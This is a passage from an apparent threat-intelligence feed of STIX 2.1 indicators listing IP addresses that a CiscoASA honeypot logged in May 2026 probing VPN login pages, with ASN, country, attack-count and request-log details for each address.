          "first_seen": "2026-05-08T16:21:36.094Z",
          "last_seen": "2026-05-31T01:00:37.994Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--f26c538f-8b2e-4082-b5c1-d72419c98a5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.154.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 63,
          "first_seen": "2026-05-08T17:04:59.840Z",
          "last_seen": "2026-05-31T04:46:05.435Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--704e2937-65f3-4af1-bf2b-ab898aa29172",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.154.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 65,
          "first_seen": "2026-05-08T16:31:31.667Z",
          "last_seen": "2026-05-30T08:06:08.359Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--4b78d1f2-87d4-44ca-81b5-6362b430dad0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-06T00:39:15.429Z",
          "last_seen": "2026-05-11T11:27:27.218Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32e849b3-ba65-45c0-a811-d8312ac8b9c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-08T16:44:44.336Z",
          "last_seen": "2026-05-29T15:14:59.259Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--bce3dc30-e8e4-4a3d-b409-3d9ffbf55ee6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.195.233.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 78,
          "first_seen": "2026-05-08T17:22:02.441Z",
          "last_seen": "2026-05-31T01:12:08.882Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--5cfc4497-bd31-4816-a07c-a154ec3924aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.65.135.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 69,
          "first_seen": "2026-05-08T17:56:23.958Z",
          "last_seen": "2026-05-30T11:38:52.629Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e527fb1a-0449-4099-90af-03ed8b49f1e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T17:57:47.413Z",
          "last_seen": "2026-05-30T11:59:28.112Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--115990ca-e991-4c4e-b669-a30b7b7f189a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T17:35:11.505Z",
          "last_seen": "2026-05-08T17:35:21.445Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4a696c12-42ce-4691-8328-226d0ea641e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T18:04:20.534Z",
          "last_seen": "2026-05-27T04:59:49.849Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--e309b832-7112-46d0-add5-ae5bcffd0de1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.245.138.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T17:48:47.757Z",
          "last_seen": "2026-05-08T17:48:51.819Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--3339c298-48d6-43f1-8ef6-24b12bea9b38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:20:10.000Z",
      "valid_until": "2026-06-09T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-08T17:22:35.640Z",
          "last_seen": "2026-05-08T17:22:53.876Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--ac0e9991-e193-4252-b2c5-8c1524ff143f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T18:55:58.546Z",
          "last_seen": "2026-05-30T09:31:51.956Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--3de1d054-cb37-4095-9508-58bc15fd3991",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T19:15:58.710Z",
          "last_seen": "2026-05-29T14:18:45.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8e77277a-4c56-4f9b-ad38-af5117ae17c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T19:17:41.919Z",
          "last_seen": "2026-05-20T01:03:15.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6cf0d5c7-40e9-4601-80e9-55c1baf87efc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T19:00:20.488Z",
          "last_seen": "2026-05-25T11:08:19.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--23b16694-1039-49c7-982d-e6162395ae30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T18:29:55.412Z",
          "last_seen": "2026-05-30T12:14:40.902Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--b80536e2-f0ca-4a02-9f29-7c31e0c33a8e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.37.63.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:20:10.000Z",
      "valid_until": "2026-06-09T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 189,
          "first_seen": "2026-05-08T19:04:30.129Z",
          "last_seen": "2026-05-31T02:58:35.058Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--0b3ecc28-7abe-4d16-8fe1-d1dc718fc6d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:20:10.000Z",
      "valid_until": "2026-06-09T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-08T19:35:00.487Z",
          "last_seen": "2026-05-30T06:08:42.716Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CA; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.145.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:20:10.000Z",
      "valid_until": "2026-06-09T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T19:29:17.753Z",
          "last_seen": "2026-05-08T19:29:20.755Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5c102555-02f4-4e9f-b6ec-5f4a4e1e730d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:20:10.000Z",
      "valid_until": "2026-06-09T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T19:33:28.301Z",
          "last_seen": "2026-05-30T03:35:01.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
